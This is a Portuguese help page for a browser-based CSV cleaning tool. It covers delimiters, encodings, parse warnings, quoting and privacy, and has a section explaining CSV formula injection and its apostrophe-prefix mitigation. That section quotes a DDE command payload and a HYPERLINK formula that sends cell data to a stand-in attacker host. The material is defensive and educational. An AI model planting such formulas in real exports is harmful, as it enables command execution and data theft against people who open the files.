Português (Brasil)

Limpador de CSV

Delimitadores, cabeçalhos, duplicatas e codificações organizados nas exportações de planilhas.

Por que as exportações chegam quebradas

Um arquivo CSV não é realmente um formato, é uma família de convenções. A especificação que a maioria das ferramentas aponta, RFC 4180, foi escrita em 2005 para descrever o que o software já estava fazendo, em vez de dizer o que fazer. O resultado é que dois programas podem reivindicar suporte CSV e ainda discordar sobre o delimitador, o final da linha, o estilo de citação e a codificação de caracteres.

A surpresa mais comum é o delimitador. Software vendido em países que usam vírgula como separador decimal – a maior parte da Europa continental – exporta frequentemente arquivos separados por ponto e vírgula, porque uma vírgula já está ocupada. Esses arquivos ainda terminam em .csv. Abra um em uma ferramenta que assume vírgulas e cada linha é recolhida em uma única coluna.

A segunda surpresa mais comum é a codificação. Um arquivo salvo como UTF-8 geralmente começa com um marcador invisível de três bytes chamado marca de ordem de bytes. Excel no Windows usa-o para reconhecer UTF-8. Muitas ferramentas Unix não esperam isso, então a marca fica colada no primeiro nome do cabeçalho e uma coluna chamada "id" silenciosamente se torna uma coluna chamada "id" que nenhuma pesquisa jamais corresponderá.

Carregue e verifique a forma

Escolha seu arquivo. A análise ocorre em um thread de trabalho em segundo plano, portanto, mesmo uma exportação grande não congelará a página enquanto ela é lida.

Deixe o delimitador em “Detecção automática” na primeira vez. A detecção funciona analisando uma amostra com cada delimitador candidato e escolhendo aquele que produz o resultado retangular mais consistente – e é por isso que ela não é enganada por vírgulas dentro dos campos citados de um arquivo separado por ponto e vírgula. Se a visualização ainda parecer errada, substitua-a manualmente.

Verifique as contagens de linhas e colunas no seletor de arquivos antes de fazer qualquer outra coisa. Se a contagem de colunas for 1, o delimitador está errado. Se a contagem de linhas for muito maior do que o esperado, o arquivo provavelmente contém novas linhas entre aspas que outra ferramenta já deturpou.

  1. Escolha um arquivo .csv, .tsv, .txt ou .json.
  2. Confirme o delimitador detectado ou escolha um manualmente.
  3. Leia o resumo linha x coluna e quaisquer avisos de análise.
  4. Verifique a tabela de visualização em busca de colunas que pareçam deslocadas.

Entenda os avisos de análise

Os avisos nomeiam o número da linha específico, contando da mesma forma que você contaria em um editor de texto, para que você possa analisar o problema diretamente.

Um aviso de "linha irregular" significa que uma linha tinha um número de células diferente do cabeçalho. Esta ferramenta nunca descarta essas células. Linhas curtas são preenchidas com espaços em branco e linhas longas mantêm seus valores extras, porque excluir silenciosamente os dados de alguém para fazer uma grade parecer organizada é a pior coisa que uma ferramenta de limpeza pode fazer. Corrija a linha de origem se a vírgula extra for um erro.

Um aviso de "aspa não fechada" significa que uma aspa dupla foi aberta e nunca fechada, então tudo depois dela foi lido como um campo enorme. Isso quase sempre é uma corrupção genuína no arquivo de origem e vale a pena consertar o upstream em vez do downstream.

Limpe e depois exporte

Os botões de limpeza aplicam-se a toda a tabela e cada um pode ser desfeito. A remoção de linhas duplicadas mantém a primeira ocorrência, de modo que a linha original sobrevive e a ordem dos dados sobreviventes não muda.

Os controles de coluna permitem renomear cabeçalhos, escolher quais colunas exportar e classificar por qualquer coluna. A classificação detecta se uma coluna é numérica: uma coluna numérica classifica 9 antes de 10, enquanto uma coluna de texto classifica "10" antes de "9", que geralmente é o que você deseja em cada caso.

Antes de baixar, veja as opções de exportação. A opção segura para injeção de fórmula está ativada por padrão e é explicada em seu próprio guia abaixo – é a configuração aqui com uma consequência de segurança genuína.

O problema em uma frase

Um arquivo CSV não contém código, mas um aplicativo de planilha tratará parte de seu texto como código no momento em que o arquivo for aberto.

Excel, Planilhas Google e LibreOffice Calc interpretam uma célula cujo primeiro caractere é =, +, - ou @ como o início de uma fórmula. Esse comportamento é deliberado e útil quando você mesmo digita. Torna-se uma vulnerabilidade quando o conteúdo da célula vem de algum lugar que você não controla.

Como um ataque realmente funciona

Imagine um formulário web que coleta um nome e um administrador que exporta periodicamente os envios para CSV e os abre no Excel. Um invasor envia um nome que não é um nome, mas uma fórmula.

Uma carga clássica se parece com =cmd|' /C calc'!A0. Quando a exportação é aberta, o Excel a analisa como uma instrução dinâmica de troca de dados, e não como texto. Configurações mais antigas e sem correção tentariam iniciar um programa externo. As versões modernas mostram primeiro um prompt de aviso – mas o prompt é a única coisa entre a carga útil e a execução, e os usuários clicam nos prompts.

A exfiltração de dados é a variante mais silenciosa e não precisa de DDE. =HYPERLINK("https://attacker.example/?d="&A1,"Click para detalhes") cria um link contendo o conteúdo de uma célula vizinha. Um administrador curioso clica nele e uma linha da planilha sai do prédio em URL. IMPORTXML no Planilhas Google pode buscar um URL remoto sem a necessidade de nenhum clique.

O importante é que o invasor nunca precisou de acesso à planilha, à ferramenta de exportação ou à máquina do administrador. Eles precisavam apenas de um campo de texto que eventualmente alcançasse uma exportação CSV. É por isso que a vulnerabilidade geralmente é registrada no aplicativo que produziu o arquivo, e não na planilha que o abriu.

O que esta ferramenta faz sobre isso

Quando "Formula-injection-safe" está habilitado - e é habilitado por padrão - cada célula cujo primeiro caractere é =, +, -, @, uma tabulação ou um retorno de carro é prefixado com um único apóstrofo antes de ser escrito.

O apóstrofo é o marcador convencional da planilha que significa "tratar o resto desta célula como texto literal". O Excel não o exibe na célula; você vê isso apenas na barra de fórmulas. A carga útil ainda está visível e totalmente recuperável, mas é inerte.

Tab e retorno de carro estão incluídos nessa lista porque são espaços em branco que alguns filtros ingênuos cortam antes de verificar o primeiro caractere, o que permite que uma carga útil passe por uma verificação que olhou apenas para o índice zero de uma string cortada. Verificar o primeiro caractere bruto fecha essa lacuna.

  1. Deixe "Formula-injection-safe" marcado no painel Exportar.
  2. Baixe o CSV.
  3. Abra-o no Excel ou no Planilhas: células semelhantes a fórmulas agora são exibidas como texto simples.

Quanto custa a opção – leia isto antes de desligá-la

A mitigação altera seus dados e não existe nenhuma versão que não o faça. Se uma célula realmente continha =SUM(A1:A2) porque você queria uma fórmula funcional na saída, a exportação segura a transforma no texto literal =SUM(A1:A2) e não será calculada. Uma planilha não consegue distinguir a fórmula pretendida da fórmula de um invasor, e nós também não.

É precisamente por isso que esta é uma alternância visível e não um comportamento silencioso. Se você estiver exportando um arquivo que deveria conter fórmulas ativas e confiar em todos os valores nele contidos, desative a opção deliberada e conscientemente. Se os dados contiverem algo originado de um usuário, formulário, cliente, pesquisa ou sistema externo, deixe-o ativado.

Vale a pena conhecer um refinamento. Uma implementação ingênua sinaliza cada célula começando com um sinal de menos, o que deturpa todos os números negativos do arquivo: -42 torna-se '-42 e deixa de ser um número, corrompendo silenciosamente uma coluna inteira de dados financeiros. Esta ferramenta isenta valores que são analisados ​​​​como números simples, então -42, -3.14 e -1e5 passam intactos enquanto -1+1+cmd|' /C calc'!A0 não, porque não é um número.

Se você estiver criando software que exporta CSV

Escape ao escrever, não ao ler. O arquivo que você produz deve ser seguro para ser aberto em qualquer lugar, porque você não pode controlar qual aplicativo o abre ou a idade desse aplicativo.

Não confie na caixa de diálogo de aviso da planilha como seu controle. É uma última linha de defesa dirigida a um usuário que está tentando realizar seu trabalho e é rotineiramente dispensada.

Não tente resolver isso eliminando personagens perigosos. A exclusão do = inicial corrompe os dados legítimos e ainda perde cargas úteis que começam com espaços em branco. A prefixação com apóstrofo preserva exatamente o valor original enquanto remove sua executábilidade, por isso é a abordagem recomendada.

Regras de cotação

Um campo deve ser colocado entre aspas duplas quando contém o delimitador, aspas duplas ou uma quebra de linha. Dentro de um campo entre aspas, uma aspa dupla literal é escrita duas vezes: "ela disse ""oi""" é um campo contendo ela disse "oi".

Esta ferramenta cita minimamente na exportação: os campos são agrupados apenas quando necessário. Isso significa que um arquivo cujos campos foram citados na entrada pode sair com menos aspas. Os dados são idênticos – “Ada” e Ada têm o mesmo valor – mas os bytes são diferentes. Se você precisar de todos os campos citados, use a opção "Citar todos os campos".

Os campos com espaços iniciais ou finais significativos são sempre citados, porque vários analisadores removem o preenchimento sem aspas e, de outra forma, alterariam seus valores.

Finais de linha

RFC 4180 especifica CRLF entre registros, e é isso que esta ferramenta grava por padrão, porque é a escolha mais amplamente compatível entre ferramentas Windows e Unix.

Na entrada, todas as três convenções são aceitas: CRLF, LF e CR solitário. Uma nova linha dentro de um campo entre aspas é preservada como parte do valor e não inicia uma nova linha.

O que acontece com seus dados

Seu arquivo é lido pelo navegador, analisado em um Web Worker no seu dispositivo, transformado na memória e gravado novamente pelo próprio mecanismo de download do navegador. Nunca é transmitido.

Nada é armazenado. Não há salvamento automático, banco de dados local e histórico que sobreviva ao recarregamento da página. Fechar a aba descarta tudo; "Limpar dados" faz o mesmo imediatamente.

A análise e a publicidade estão desativadas neste produto, em todos os ambientes. Nenhum dado de uso sobre o seu arquivo – nem seu nome, tamanho, conteúdo ou nomes de coluna – é coletado, porque nada disso é enviado para lugar nenhum.

Perguntas frequentes

Minha planilha foi carregada em algum lugar?
Não. O arquivo é lido pelo seu navegador, analisado em um Web Worker no seu dispositivo e gravado novamente pelo seu navegador. Não há componente de servidor nesta ferramenta e nenhum terminal para o qual os dados serão enviados. Você pode confirmar isso abrindo o painel de rede do seu navegador e observando-o ficar vazio enquanto você trabalha.
Por que meu arquivo foi aberto como uma única coluna?
O delimitador está errado. Defina-o manualmente - ponto e vírgula é a resposta usual para exportações de software europeu e tabulação para arquivos que foram realmente TSV com extensão .csv.
Para que serve a opção UTF-8 BOM?
O Excel no Windows usa uma marca de ordem de bytes para detectar que um arquivo é UTF-8. Sem ele, caracteres acentuados e scripts não latinos podem aparecer como mojibake quando o arquivo é clicado duas vezes. Habilite-o caso o arquivo seja destinado ao Excel; deixe-o desativado se o arquivo alimentar um script ou uma importação de banco de dados, pois alguns analisadores estritos tratam a marca como dados.
A remoção de duplicatas mantém a primeira ou a última cópia?
O primeiro. A linha original permanece onde estava e as cópias posteriores são removidas, portanto a ordem dos dados mantidos permanece inalterada.
Posso converter entre CSV e JSON?
Sim, em ambas as direções. Carregue um arquivo .json contendo um array de objetos e ele se tornará uma tabela; exporte qualquer tabela como JSON. Nomes de colunas duplicados recebem sufixos numéricos em vez de sobrescrever uns aos outros, e valores aninhados são serializados como texto JSON dentro da célula.
Qual o tamanho do arquivo que ele pode suportar?
O limite está definido em 50 MB. A verdadeira restrição é a memória do seu dispositivo, já que todo o arquivo é mantido na aba. Um telefone terá problemas muito antes de um laptop. A análise é executada em um trabalhador para que a interface permaneça responsiva, mas um arquivo muito grande ainda levará algum tempo.

O que esta ferramenta não fará